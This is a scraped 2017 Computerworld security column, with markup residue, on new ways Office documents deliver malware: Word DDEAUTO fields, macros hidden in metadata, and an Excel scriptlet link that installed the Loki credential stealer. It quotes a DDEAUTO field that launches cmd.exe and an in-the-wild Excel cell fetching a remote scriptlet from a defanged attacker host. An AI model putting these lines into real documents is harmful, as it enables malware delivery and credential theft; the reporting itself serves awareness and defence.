![](\"https:\/\/images.idgesg.net\/images\/article\/2017\/09\/windows_patch_security5-100734739-large.3x2.jpg\"\/)
<\/p>\n
Credit to Author: Woody Leonhard| Date: Tue, 19 Dec 2017 13:34:00 -0800<\/strong><\/p>\n I, for one, thought that Office-based malware reached its zenith in the late 1990s, with the likes of Melissa<\/a>. Sure, we\u2019ve seen macro-based pain-in-the-neckware<\/a> over the past two decades, including some macro malware that specifically attacks Macs<\/a>, but by and large, Word, Excel and, to a lesser degree, PowerPoint now throw warning dialogs into the middle of just about any attack. Those with malevolent intent have moved on to greener fields.<\/p>\n Or have they?<\/p>\n Some clever researchers have found new and unexpected ways to get Word, Excel and PowerPoint documents to deliver all sorts of malware \u2014 ransomware, snoopers, even a newly discovered credential stealer that specializes in gathering usernames and passwords.<\/p>\n In many cases, these new uses employ methods as old as the hills. But the old warning signs don\u2019t work as well as they once did: Confronted with a challenge like the one in the screenshot, many folks, nowadays, wouldn\u2019t hesitate to click Yes.<\/p>\n Dive deep into Word and you\u2019ll find a feature called fields<\/em>. As best as I can tell, fields existed before macros. The idea behind a field is simple enough: You stick a field code<\/em> inside a document that Word can calculate or put together in some way. Instead of showing you the field code, Word makes the calculation and presents you with the result of the calculation. For example, the field code {page} returns the current page number.<\/p>\n The details can get tricky: My Hacker\u2019s Guide to Word for Windows<\/a><\/em> contains 85 pages on field codes and their obtuse results. Mind you, that was 23 years ago.<\/p>\n The {DDEAUTO} field code must date back to Charles Simonyi<\/a>\u2019s time. It\u2019s used to instruct Word to start another application, and either put data into that app or pull data from it. For example, the field<\/p>\n tells Word to start up Excel, open the file named addrlist.xls, pull the contents of row 5 columns 1 thru 9, and stick them in the Word document. The {DDEAUTO} field fires when you open the Word document (that\u2019s the \u201cAUTO\u201d part).<\/p>\n Before retrieving (or sending) the data, Word kicks up a warning message like the one in the preceding screenshot. If the referenced program isn\u2019t running, you get an additional message asking if it\u2019s OK to start the application.<\/p>\n Last October, Etienne Stalmans and Saif El-Sherei published an article<\/a> for the Sensepost blog that describes a perfectly normal way of using the ancient technology. They put together this field:<\/p>\n and found that it kicks off the Windows Calculator, provided the person opening the document clicks Yes on those two warning dialogs.<\/p>\n At first, that looked fine: {DDEAUTO} was working the way it should, the way it\u2019s worked since pterodactyls moonlighted as cooler fans. But then some of us started feeling uneasy. Yeah, that\u2019s the way it\u2019s supposed to work \u2014 but is the potential security vulnerability worth the added benefit?<\/p>\n Kevin Beaumont on Twitter (@GossiTheDog) added more fuel to the flames<\/a>:<\/p>\n Remember the Word DDE issue found by @sensepost? Copy the DDE from Word into Outlook, then email it to somebody. No attachment -> calc. As techniques go it\u2019s pretty sweet as there\u2019s no attachment for AV to scan. Outlook uses Word as email editor, it spawns the DDEAUTO. Bonus side effect \u2014 if you have cmd.exe disabled in Group Policy, it executes the exe in \/k parameter, before claiming it is disabled.<\/p>\n The situation deteriorated rapidly. Tweeter Brian in Pittsburgh (@arekfurt) laid out a timeline<\/a>:<\/p>\n By Oct. 27, we raised a warning<\/a> here in Computerworld<\/em>. On Nov. 8, Microsoft released Security Advisory 4053440<\/a>, which described the problem and offered some solutions.<\/p>\n On Dec. 12, as part of this month\u2019s Patch Tuesday, Microsoft released updates<\/a> for all versions of Word \u2014 even the out-of-support Word 2003 and Word 2007 \u2014 that solved the problem by disabling {DDEAUTO} and \u201cauto-update for any linked fields, including DDE\u201d in general.<\/p>\n Per Security Advisory 170021<\/a> updates KB 4011575, 4011590, 4011608, 4011612, and 4011614 all contain the change, they all disable {DDEAUTO} in Word. Once you\u2019ve installed the patch, there will be new registry keys available which you can change manually to re-enable {DDEAUTO}.<\/p>\n Excel and PowerPoint have not been similarly hobbled. They both already have manually accessible settings that disable the Auto settings (File > Options > Trust Center > Trust Center Settings > External Content).<\/p>\n So it appears as if the {DDEAUTO} hole is plugged, at least for now.<\/p>\n Earlier this week, Xavier Mertens published an illuminating hack on the SANS Internet Storm Center blog. Called Microsoft Office VBA Macro Obfuscation via Metadata<\/a>, Mertens found a way to run macros where the bulk of the bad part is hidden inside a spreadsheet\u2019s metadata.<\/p>\n When the macro runs \u2014 and the user has to click to allow it to run \u2014 the macro extracts the malicious code from metadata, bypassing most malware scanners. What looks like an innocuous macro with one weird call turns out to be a demon with fangs.<\/p>\n Very clever.<\/p>\n Earlier this morning, Andy Norton at security firm Lastline, published an eye-opening analysis<\/a> of an attack delivered through an Excel spreadsheet that doesn\u2019t use macros, doesn\u2019t use DDE, but does use an external link to start a scriptlet. A scriptlet is \u201ca Microsoft XML wrapper for scripting languages to register themselves as COM objects and execute.\u201d<\/p>\n At heart of the attack demo is a cell that looks like<\/a> this:<\/p>\n =Package|\u2019scRiPt:http:\/\/magchris[.]ga\/images\/squrey.xml\u2019!\u201d\u201d<\/p>\n When the sheet gets opened, Excel prompts the user about updating external links and, if permission is granted, the scriptlet runs. In this case, the scriptlet kicks off a VBScript program, which does the dirty deed.<\/p>\n Today\u2019s announcement includes an exploit found in the wild that installs the username-and-password-stealing program Loki. Norton put the spreadsheet through Virus Total, and only a few antivirus products catch it. People hunting down the source of the infection, says Norton,<\/p>\n would have to track back through various logs until they found a connection to a Gabon Top Level Domain [.ga] website, offered from a free web hosting service that downloaded an executable file \u2013 _output23476823784.exe \u2013 to the victim. Provided with this information, they would instigate a further scan for the second stage payload, or hunt for known IoCs of the payload.<\/p>\n It\u2019s a strange new world.<\/p>\n Join the grumbling graybeards on the AskWoody Lounge<\/a>.<\/em><\/p>\n http:\/\/www.computerworld.com\/category\/security\/index.rss<\/a><\/p>\n","protected":false},"excerpt":{"rendered":" Credit to Author: Woody Leonhard| Date: Tue, 19 Dec 2017 13:34:00 -0800<\/strong><\/p>\n I, for one, thought that Office-based malware reached its zenith in the late 1990s, with the likes of Melissa<\/a>. Sure, we\u2019ve seen macro-based pain-in-the-neckware<\/a> over the past two decades, including some macro malware that specifically attacks Macs<\/a>, but by and large, Word, Excel and, to a lesser degree, PowerPoint now throw warning dialogs into the middle of just about any attack. Those with malevolent intent have moved on to greener fields.<\/p>\n{DDEAUTO excel c:\\xldata\\addrlist.xls r5c1:r5c9}<\/code><\/p>\n{DDEAUTO c:\\windows\\system32\\cmd.exe \"\/k calc.exe\"\u00a0 }<\/code><\/p>\n<\/p>\n